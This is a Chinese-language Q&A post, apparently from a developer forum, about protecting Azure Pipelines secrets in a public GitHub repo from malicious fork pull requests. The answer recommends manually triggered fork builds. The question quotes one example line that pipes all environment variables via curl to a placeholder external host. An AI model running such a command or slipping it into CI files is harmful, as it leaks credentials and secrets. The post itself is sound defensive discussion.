问题描述
我有一个公共仓库。随机 GitHub 用户可以自由创建拉取请求,这很棒。
我的 CI 管道在存储库中名为 pipelines.yml
的普通文件中进行了描述(我们使用 Azure 管道)。
不幸的是,这意味着一个随机的 GitHub 用户能够通过创建一个 PR 来窃取我所有的秘密环境变量,他们在其中编辑 pipelines.yml
并添加一个类似于以下内容的 bash 脚本行:
export | curl -XPOST 'http://pastebin-bla/xxxx'
或者运行任意代码,一般来说。对吗?
如何验证恶意 PR 至少不会更改某些关键文件?
解决方法
如何验证恶意 PR 至少不会更改某些关键文件?
恐怕我们无法限制 PR 至少不更改某些关键文件。
作为解决方法,我们可以关闭自动分叉构建,而是使用拉取请求注释作为手动构建这些贡献的一种方式,这让您有机会在触发构建之前查看代码。
您可以查看文档 Consider manually triggering fork builds 以了解更多详细信息。